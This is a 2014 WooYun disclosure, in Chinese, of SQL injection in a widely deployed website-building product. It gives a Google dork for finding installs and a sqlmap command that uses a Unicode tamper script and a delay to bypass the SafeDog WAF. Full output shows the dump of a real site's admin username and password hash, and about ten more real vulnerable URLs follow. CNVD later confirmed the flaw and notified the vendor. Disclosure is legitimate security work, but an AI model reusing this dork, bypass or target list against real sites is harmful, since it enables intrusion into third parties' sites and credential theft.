当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074261

漏洞标题:某通用建站软件SQL注射(绕过waf且用户量非常大)

相关厂商:Cncert国家互联网应急中心

漏洞作者: 炊烟

提交时间:2014-08-29 11:30

修复时间:2014-11-27 11:32

公开时间:2014-11-27 11:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-29: 细节已通知厂商并且等待厂商处理中
2014-09-03: 厂商已经确认,细节仅向厂商公开
2014-09-06: 细节向第三方安全合作伙伴开放
2014-10-28: 细节向核心白帽子及相关领域专家公开
2014-11-07: 细节向普通白帽子公开
2014-11-17: 细节向实习白帽子公开
2014-11-27: 细节向公众公开

简要描述:

看了看,没人提交吧,谷歌20页没有重复(这用户量够大了吧)

详细说明:

关键字:inurl:/windsmake/manager_login.asp
厂商案例:http://www.btoe.cn/jingdiananli.html
由于所有网站默认全部安装了安全狗..所以研究了好几个小时,终于搞定..

漏洞证明:

sqlmap需要使用charunicodeencode.py脚本和延迟3-5秒,不然安全狗就会频繁咯.



C:\Python27\sqlmap>sqlmap.py -u "http://www.goldox.cn/newsbrow.asp?cid=572" --ta
mper "charunicodeencode.py" --delay="5" -T admin -C admin_name,admin_pass --dump
sqlmap/1.0-dev-f110bfe - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:05:42
[18:05:42] [INFO] loading tamper script 'charunicodeencode'
[18:05:42] [WARNING] tamper script 'charunicodeencode' is only meant to be run a
gainst ASP or ASP.NET web applications
[18:05:42] [INFO] resuming back-end DBMS 'microsoft access'
[18:05:42] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: cid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=572 AND 3364=3364
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: cid=-9579 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(104)&CHR(104)&CHR(120)&CHR(113)&CHR(7
8)&CHR(119)&CHR(82)&CHR(117)&CHR(68)&CHR(74)&CHR(78)&CHR(83)&CHR(69)&CHR(77)&CHR
(113)&CHR(119)&CHR(119)&CHR(101)&CHR(113),NULL,NULL,NULL,NULL FROM MSysAccessObj
ects%16
---
[18:05:47] [WARNING] changes made by tampering scripts are not included in shown
payload content(s)
[18:05:47] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
[18:05:47] [ERROR] cannot retrieve column names, back-end DBMS is Access
[18:05:47] [INFO] fetching entries of column(s) 'admin_name, admin_pass' for tab
le 'admin' in database 'Microsoft_Access_masterdb'
[18:06:00] [INFO] heuristics detected web page charset 'GB2312'
[18:06:00] [INFO] the SQL query used returns 1 entries
[18:06:05] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): bxadmintfxvvt15"]'
[18:06:11] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): bxadmintfxvvt15"]'
[18:06:11] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[18:06:11] [INFO] fetching number of column(s) 'admin_name, admin_pass' entries
for table 'admin' in database 'Microsoft_Access_masterdb'
[18:06:11] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[18:06:11] [INFO] retrieved: 1
[18:06:41] [INFO] fetching number of distinct values for column 'admin_name'
[18:06:41] [INFO] retrieved: 1
[18:07:12] [INFO] using column 'admin_name' as a pivot for retrieving row data
[18:07:12] [INFO] retrieved: bxadmin
[18:12:00] [INFO] retrieved: 15D4C790780034A92DF6433BBD2FDE9A
[18:32:11] [INFO] analyzing table dump for possible password hashes
[18:32:11] [INFO] recognized possible password hashes in column 'admin_pass'
do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----------------------------------+------------+
| admin_pass | admin_name |
+----------------------------------+------------+
| 15D4C790780034A92DF6433BBD2FDE9A | bxadmin |
+----------------------------------+------------+
[18:49:02] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file 'C:
\Users\Administrator\.sqlmap\output\www.goldox.cn\dump\Microsoft_Access_masterdb
\admin.csv'
[18:49:02] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 172 times
[18:49:02] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.goldox.cn'
[*] shutting down at 18:49:02


以下枚举了一些..

http://www.68888888.cn/news.asp?id=405
http://www.sxmscc.com/cover.asp?c=1030
http://www.zz-daikin.com/newsbrow.asp?cid=2083
http://www.029-midea.com/news_view.asp?BigCate=%D0%C2%CE%C5%D6%D0%D0%C4&smallCate=%B9%AB%CB%BE%D0%C2%CE%C5&id=2754
http://www.qsq.com.cn/news_view.asp?BigCate=%D0%C2%CE%C5%B6%AF%CC%AC&smallCate=%C6%F3%D2%B5%D2%AA%CE%C5&id=350
http://www.xy-lj.com/news.asp?id=483
http://www.sxderong.com/news.asp?id=442
http://www.newhantang.com/newsbrow.asp?cid=693
http://www.puruien.com/news.asp?id=440
http://www.sxxcddrtvu.cn/newsbrow.asp?cid=5291


谷歌还有很多..

修复方案:

求高rank,求大厂商!

版权声明:转载请注明来源 炊烟@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-03 09:48

厂商回复:

CNVD确认并复现所述情况,暂不涉及政府和重要部门案例,已经由CNVD通过软件生产厂商西安动力无限公司公开邮箱向其通报。

最新状态:

暂无